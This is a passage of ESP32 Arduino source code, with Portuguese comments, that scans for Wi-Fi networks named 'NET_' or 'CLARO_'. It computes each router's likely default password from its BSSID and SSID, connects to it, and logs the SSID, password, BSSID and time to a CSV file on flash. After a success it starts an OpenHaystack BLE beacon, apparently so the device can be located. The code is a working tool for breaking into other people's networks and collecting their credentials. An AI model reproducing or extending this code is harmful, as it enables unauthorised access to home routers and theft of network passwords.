    }


    Serial.println("application initialized");
    Serial.println(status);

}

//essas peguei daki https://randomnerdtutorials.com/esp32-write-data-littlefs-arduino/

void appendFile(fs::FS &fs, const char * path, const char * message)
{
    File file = fs.open(path, FILE_APPEND);
    if(!file)
    {
        Serial.println("- failed to open file for appending");
        return;
    }
    if(file.print(message))
    {
        //Serial.println("- message appended");
    } else {
        Serial.println("- append failed");
    }
    file.close();
}

void readFile(fs::FS &fs, const char * path)
{
    File file = fs.open(path);
    if(!file || file.isDirectory())
    {
        Serial.println("- failed to open file for reading");
        return;
    }

    Serial.println("-- read from file:");
    while(file.available())
    {
        Serial.write(file.read());
    }
    file.close();
}

//funcoes do dpwo

void net(int i)
{
    char bssid_cru[18];
    char bssid_parseado[18];

    strcpy(bssid_cru, WiFi.BSSIDstr(i).c_str());

    int j = 0;
    for (int x = 0; bssid_cru[x] != '\0'; ++x)
    {
        if (bssid_cru[x] != ':') {
            bssid_parseado[++j] = bssid_cru[x];
        }
    }
    bssid_parseado[j] = '\0';

    char *senha_final = bssid_parseado + 4; 
    senha_final[strlen(senha_final)-6] = '\0';
    int tamanho_ssid = WiFi.SSID(i).length();
    if (tamanho_ssid >= 2)
    {
      String ultimo_dois = WiFi.SSID(i).substring(tamanho_ssid - 6);
      strcat(senha_final, ultimo_dois.c_str());
    } else {
      Serial.println("ERROR");
    }
    Serial.println(WiFi.SSID(i).c_str());
    Serial.println(senha_final);

    WiFi.begin(WiFi.SSID(i).c_str(), senha_final);
    delay(4000);
    while (WiFi.status() != WL_CONNECTED)
    {
      WiFi.disconnect();
      return;
    }

    Serial.println("NET CONECTADO");
    
    if(!is_timezone_set)
    {
      timeClient.begin();
      is_timezone_set=true;
    }
    timeClient.update();
    
    appendFile(LittleFS, "/a.csv", WiFi.SSID(i).c_str());
    appendFile(LittleFS, "/a.csv", ",");
    appendFile(LittleFS, "/a.csv", senha_final);
    appendFile(LittleFS, "/a.csv", ",");
    appendFile(LittleFS, "/a.csv", bssid_parseado);
    appendFile(LittleFS, "/a.csv", ",");
    appendFile(LittleFS, "/a.csv", String(timeClient.getEpochTime()).c_str());
    appendFile(LittleFS, "/a.csv", "\n");

    achou_dpwo=true;
    WiFi.disconnect();
    //WiFi.mode(WIFI_OFF);
}

void claro(int i)
{
    char bssid_cru[18];
    char bssid_parseado[18];

    strcpy(bssid_cru, WiFi.BSSIDstr(i).c_str());

    int j = 0;
    for (int x = 0; bssid_cru[x] != '\0'; ++x) {
      if (bssid_cru[x] != ':') {
        bssid_parseado[++j] = bssid_cru[x];
      }
    }
    bssid_parseado[j] = '\0';

    char *senha_final = bssid_parseado + 4;
    senha_final[strlen(senha_final)-2] = '\0';
    int tamanho_ssid = WiFi.SSID(i).length();
    if (tamanho_ssid >= 2)
    {
        String ultimo_dois = WiFi.SSID(i).substring(tamanho_ssid - 2);
        strcat(senha_final, ultimo_dois.c_str());
    }

    Serial.println(WiFi.SSID(i).c_str());
    Serial.println(senha_final);

    WiFi.begin(WiFi.SSID(i).c_str(), senha_final);
    delay(4000);
    while (WiFi.status() != WL_CONNECTED)
    {
      WiFi.disconnect();
      //WiFi.mode(WIFI_OFF);
      return;
    }

    Serial.println("CLARO CONECTADO");
    
    if(!is_timezone_set){
      timeClient.begin();
      is_timezone_set=true;
    }
    timeClient.update();
    
    appendFile(LittleFS, "/a.csv", WiFi.SSID(i).c_str());
    appendFile(LittleFS, "/a.csv", ",");
    appendFile(LittleFS, "/a.csv", senha_final);
    appendFile(LittleFS, "/a.csv", ",");
    appendFile(LittleFS, "/a.csv", bssid_parseado);
    appendFile(LittleFS, "/a.csv", ",");
    appendFile(LittleFS, "/a.csv", String(timeClient.getEpochTime()).c_str());
    appendFile(LittleFS, "/a.csv", "\n");

    achou_dpwo=true;
    WiFi.disconnect();
    //WiFi.mode(WIFI_OFF);
}

void setup()
{
    Serial.begin(115200);
    WiFi.mode(WIFI_STA);
    num_rede = WiFi.scanNetworks();

  LittleFS.begin();

  esp_bt_controller_config_t bt_cfg = BT_CONTROLLER_INIT_CONFIG_DEFAULT();
    esp_bt_controller_init(&bt_cfg);
    esp_bt_controller_enable(ESP_BT_MODE_BLE);

    esp_bluedroid_init();
    esp_bluedroid_enable();
    //esp_bt_controller_enable(ESP_BT_MODE_BLE);

    set_addr_from_key(rnd_addr, public_key_decoded);
    set_payload_from_key(adv_data, public_key_decoded);
    Serial.println("Fim do setup");
}

void loop()
{
    WiFi.mode(WIFI_STA);
    std::regex net_regex("NET_.*");
    std::regex claro_regex("CLARO_.*");

    for (int i = 0; i < num_rede; ++i)
    {
        if (std::regex_search(WiFi.SSID(i).c_str(), claro_regex))
        {
            claro(i);
        } else if (std::regex_search(WiFi.SSID(i).c_str(), net_regex))
        {
            net(i);
        } else {
        }
    }
    num_rede = WiFi.scanNetworks();

    //para poder copiar pelo serial
    readFile(LittleFS, "/a.csv");

    if(achou_dpwo)
    {
      openhaystack_setup();
      achou_dpwo=false;
    }
}

EOF